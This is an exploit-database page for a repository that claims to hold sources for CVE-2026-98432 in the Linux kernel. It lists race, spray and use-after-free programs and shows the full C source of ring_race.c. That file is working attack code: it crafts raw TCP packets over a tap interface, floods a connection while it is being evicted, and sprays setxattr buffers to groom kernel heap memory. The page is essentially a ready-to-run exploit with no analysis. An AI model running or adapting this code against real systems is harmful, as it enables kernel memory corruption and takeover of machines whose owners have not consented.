Exploit databaseDownload repository ZIP
GH-64512fbefaddfbf371789d6022482152
h1z3-br0/cve-2026-98432
Sources for CVE-2026-98432
33 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files35
h1z3-br0/cve-2026-98432Revision fa7e5d9b81d7
- ↑..Parent directory
- README.md
- ack_opts.c
- aval_test.c
- build-lab.sh
- dccp_race.c
- dccp_test.c
- fnhe_redirect.c
- fnhe_spray.c
- freelist_probe.c
- hog.c
- init
- migrate_bpf.c
- mptcp_listener.c
- persist.c
- pipe_race.c
- raw_ack.c
- raw_syn.c
- reuseport_listener.c
- ring_race.c
- ring_race2.c
- run_aval_test.sh
- run_fnhe.sh
- run_fnhe_race.sh
- run_fnhe_spray.sh
- run_key_race.sh
- run_multi_fnhe.sh
- run_persist.sh
- run_stall_meas.sh
- run_stall_race.sh
- run_uaf_race.sh
- stall_meas.c
- stall_race.c
- trigger.c
- uaf_race.c
- xattr_spray.c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
lab/ring_race.c
C · 9,609 bytes#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/if.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_tun.h>
#include <net/route.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <pthread.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/xattr.h>
#include <time.h>
#include <unistd.h>
#define CLIENT_IP "192.168.1.5"
#define SERVER_IP "10.0.2.15"
#define LOCAL_TAP "10.0.2.16"
static unsigned short csum(const void *data, int len)
{
const unsigned short *p = data;
unsigned long sum = 0;
while (len > 1) {
sum += *p++;
len -= 2;
}
if (len)
sum += *(const unsigned char *)p;
while (sum >> 16)
sum = (sum & 0xffff) + (sum >> 16);
return (unsigned short)~sum;
}
static int raw_fd, tap_fd;
static volatile int flood_go, flood_stop;
static volatile unsigned int f_sport, f_isn, f_server_isn;
static volatile long spray_count;
static void pin(int cpu)
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
sched_setaffinity(0, sizeof(set), &set);
}
static int if_setup(int s, const char *name, const char *addr, const char *mask)
{
struct ifreq ifr;
struct sockaddr_in *sin;
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, name, IFNAMSIZ - 1);
sin = (struct sockaddr_in *)&ifr.ifr_addr;
sin->sin_family = AF_INET;
inet_pton(AF_INET, addr, &sin->sin_addr);
if (ioctl(s, SIOCSIFADDR, &ifr) < 0)
return -1;
sin = (struct sockaddr_in *)&ifr.ifr_netmask;
sin->sin_family = AF_INET;
inet_pton(AF_INET, mask, &sin->sin_addr);
if (ioctl(s, SIOCSIFNETMASK, &ifr) < 0)
return -1;
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, name, IFNAMSIZ - 1);
if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0)
return -1;
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
return ioctl(s, SIOCSIFFLAGS, &ifr);
}
static int arp_set(int s, const char *dev, const char *ip, const unsigned char *mac)
{
struct arpreq req;
struct sockaddr_in *sin;
memset(&req, 0, sizeof(req));
sin = (struct sockaddr_in *)&req.arp_pa;
sin->sin_family = AF_INET;
inet_pton(AF_INET, ip, &sin->sin_addr);
req.arp_ha.sa_family = ARPHRD_ETHER;
memcpy(req.arp_ha.sa_data, mac, 6);
req.arp_flags = ATF_COM | ATF_PERM;
strncpy(req.arp_dev, dev, sizeof(req.arp_dev) - 1);
return ioctl(s, SIOCSARP, &req);
}
static int route_add(int s, const char *dev, const char *dst)
{
struct rtentry rt;
struct sockaddr_in *sin;
memset(&rt, 0, sizeof(rt));
sin = (struct sockaddr_in *)&rt.rt_dst;
sin->sin_family = AF_INET;
inet_pton(AF_INET, dst, &sin->sin_addr);
sin = (struct sockaddr_in *)&rt.rt_genmask;
sin->sin_family = AF_INET;
inet_pton(AF_INET, "255.255.255.255", &sin->sin_addr);
rt.rt_flags = RTF_UP | RTF_HOST;
rt.rt_dev = (char *)dev;
return ioctl(s, SIOCADDRT, &rt);
}
static int tap_setup(void)
{
const unsigned char mac[6] = { 0x02, 0, 0, 0, 0x01, 0x05 };
struct ifreq ifr;
int fd, s;
fd = open("/dev/net/tun", O_RDWR);
if (fd < 0)
return -1;
memset(&ifr, 0, sizeof(ifr));
ifr.ifr_flags = IFF_TAP | IFF_NO_PI;
strncpy(ifr.ifr_name, "tap0", IFNAMSIZ - 1);
if (ioctl(fd, TUNSETIFF, &ifr) < 0) {
close(fd);
return -1;
}
if (fcntl(fd, F_SETFL, O_NONBLOCK) < 0) {
close(fd);
return -1;
}
s = socket(AF_INET, SOCK_DGRAM, 0);
if (if_setup(s, "tap0", LOCAL_TAP, "255.255.255.0") < 0)
return -1;
if (arp_set(s, "tap0", CLIENT_IP, mac) < 0)
return -1;
if (route_add(s, "tap0", CLIENT_IP) < 0)
return -1;
close(s);
return fd;
}
static int build_tcp(unsigned char *pkt, int with_opts, unsigned int sport,
unsigned int seq, unsigned int ack, int flags, int payload)
{
struct iphdr *ip = (struct iphdr *)pkt;
struct tcphdr *th;
int ihl = with_opts ? 60 : 20;
int total = ihl + 20 + payload;
int i;
memset(pkt, 0, (size_t)total);
ip->version = 4;
ip->ihl = (unsigned char)(ihl / 4);
ip->tot_len = htons((unsigned short)total);
ip->id = htons(0x7000);
ip->frag_off = htons(0x4000);
ip->ttl = 64;
ip->protocol = IPPROTO_TCP;
inet_pton(AF_INET, CLIENT_IP, &ip->saddr);
inet_pton(AF_INET, SERVER_IP, &ip->daddr);
if (with_opts) {
unsigned char *o = pkt + 20;
o[0] = 68;
o[1] = 40;
o[2] = 5;
o[3] = 0;
for (i = 4; i + 4 <= 40; i += 4) {
o[i + 0] = 0x41;
o[i + 1] = 0x42;
o[i + 2] = 0x43;
o[i + 3] = 0x44;
}
}
th = (struct tcphdr *)(pkt + ihl);
th->source = htons((unsigned short)sport);
th->dest = htons(9000);
th->seq = htonl(seq);
th->ack_seq = htonl(ack);
th->doff = 5;
if (flags & 0x02)
th->syn = 1;
if (flags & 0x10)
th->ack = 1;
if (flags & 0x04)
th->rst = 1;
if (flags & 0x08)
th->psh = 1;
th->window = htons(65535);
if (payload)
pkt[ihl + 20] = 'A';
{
unsigned char pseudo[12];
unsigned short tcplen = htons((unsigned short)(20 + payload));
memcpy(pseudo, &ip->saddr, 4);
memcpy(pseudo + 4, &ip->daddr, 4);
pseudo[8] = 0;
pseudo[9] = IPPROTO_TCP;
memcpy(pseudo + 10, &tcplen, 2);
{
unsigned char t[160];
memcpy(t, pseudo, 12);
memcpy(t + 12, th, (size_t)(20 + payload));
th->check = csum(t, 12 + 20 + payload);
}
}
ip->check = csum(ip, ihl);
return total;
}
static int raw_send(unsigned char *pkt, int len)
{
struct sockaddr_in d;
memset(&d, 0, sizeof(d));
d.sin_family = AF_INET;
inet_pton(AF_INET, SERVER_IP, &d.sin_addr);
return (int)sendto(raw_fd, pkt, (size_t)len, 0,
(struct sockaddr *)&d, sizeof(d));
}
static int tap_scan(unsigned char *buf, ssize_t n, int want_syn, int sport)
{
int off;
for (off = 14; off + 40 <= n; off++) {
struct iphdr *ip;
struct tcphdr *th;
if ((buf[off] >> 4) != 4)
continue;
ip = (struct iphdr *)(buf + off);
if (ip->protocol != IPPROTO_TCP || ip->ihl < 5)
continue;
if (off + ip->ihl * 4 + 20 > n)
continue;
th = (struct tcphdr *)(buf + off + ip->ihl * 4);
if (ntohs(th->source) != 9000 || ntohs(th->dest) != sport)
continue;
if (want_syn) {
if (th->syn && th->ack)
return (int)ntohl(th->seq);
} else if (th->ack && !th->syn && !th->rst) {
return ip->ihl;
}
}
return want_syn ? 0 : -1;
}
static unsigned int wait_synack(unsigned int sport, int ms)
{
struct timespec start, now;
int i;
clock_gettime(CLOCK_MONOTONIC, &start);
for (i = 0; i < ms * 4; i++) {
unsigned char buf[4096];
ssize_t n = read(tap_fd, buf, sizeof(buf));
if (n > 0) {
int r = tap_scan(buf, n, 1, (int)sport);
if (r)
return (unsigned int)r;
}
{
struct timespec ts = { 0, 250000 };
nanosleep(&ts, NULL);
}
clock_gettime(CLOCK_MONOTONIC, &now);
if ((now.tv_sec - start.tv_sec) * 1000 +
(now.tv_nsec - start.tv_nsec) / 1000000 > ms)
break;
}
return 0;
}
static unsigned int handshake(unsigned int sport, unsigned int isn)
{
unsigned char pkt[256];
unsigned int s = 0;
int k, len;
len = build_tcp(pkt, 1, sport, isn, 0, 0x02, 0);
raw_send(pkt, len);
for (k = 0; k < 20; k++) {
s = wait_synack(sport, 2);
if (s)
break;
}
if (!s)
return 0;
len = build_tcp(pkt, 0, sport, isn + 1, s + 1, 0x10, 0);
raw_send(pkt, len);
return s;
}
static void *flood_thread(void *arg)
{
unsigned char pkt[256];
unsigned int k = 0;
(void)arg;
pin(3);
for (;;) {
if (flood_stop)
return NULL;
if (!flood_go) {
k = 0;
continue;
}
{
int len = build_tcp(pkt, 0, f_sport, f_isn + 1 + k,
f_server_isn + 1, 0x18, 1);
raw_send(pkt, len);
k++;
}
}
}
static void *spray_thread(void *arg)
{
unsigned char xp[72];
int j;
(void)arg;
pin(1);
memset(xp, 0, sizeof(xp));
xp[24] = 192;
xp[25] = 45;
for (j = 32; j < 72; j++)
xp[j] = 0x41;
for (;;) {
(void)setxattr("/tmp/xa", "user.x", xp, sizeof(xp), 0);
spray_count++;
}
}
int main(int argc, char **argv)
{
int iters = argc > 1 ? atoi(argv[1]) : 200;
pthread_t ft, st;
unsigned int isn0 = 0x20000000u;
unsigned int s0, s1, s2;
unsigned int isn1 = 0x30000000u;
int i;
pin(1);
tap_fd = tap_setup();
if (tap_fd < 0) {
printf("ring: tap setup failed: %s\n", strerror(errno));
return 1;
}
raw_fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (raw_fd < 0) {
perror("raw");
return 1;
}
{
int one = 1;
setsockopt(raw_fd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one));
if (setsockopt(raw_fd, SOL_SOCKET, SO_BINDTODEVICE, "lo", 3) < 0)
perror("bindtodevice");
}
pthread_create(&ft, NULL, flood_thread, NULL);
pthread_create(&st, NULL, spray_thread, NULL);
/* fill a ring of 2: C0 and C1 */
s0 = handshake(20000, isn0);
s1 = handshake(20001, isn0 + 0x1000);
if (!s0 || !s1) {
printf("ring: initial handshake failed (%u %u)\n", s0, s1);
return 1;
}
printf("ring: ready, flooding the oldest while evicting it\n");
fflush(stdout);
{
unsigned int rs[2] = { 20000, 20001 };
unsigned int ri[2] = { isn0, isn0 + 0x1000 };
unsigned int rn[2] = { s0, s1 };
int head = 0;
for (i = 0; i < iters; i++) {
unsigned int new_sport = 30000 + (unsigned)i;
unsigned int new_isn = isn1 + (unsigned)i * 0x1000;
unsigned int s2;
/* flood the child that is about to be evicted */
f_sport = rs[head];
f_isn = ri[head];
f_server_isn = rn[head];
flood_go = 1;
{
struct timespec ts = { 0, 200000 };
nanosleep(&ts, NULL);
}
/* new connection: accept evicts the target */
s2 = handshake(new_sport, new_isn);
flood_go = 0;
if (!s2)
continue;
rs[head] = new_sport;
ri[head] = new_isn;
rn[head] = s2;
head = (head + 1) & 1;
{
struct timespec ts = { 0, 1000000 };
nanosleep(&ts, NULL);
}
}
}
printf("ring done: sprays=%ld\n", spray_count);
return 0;
}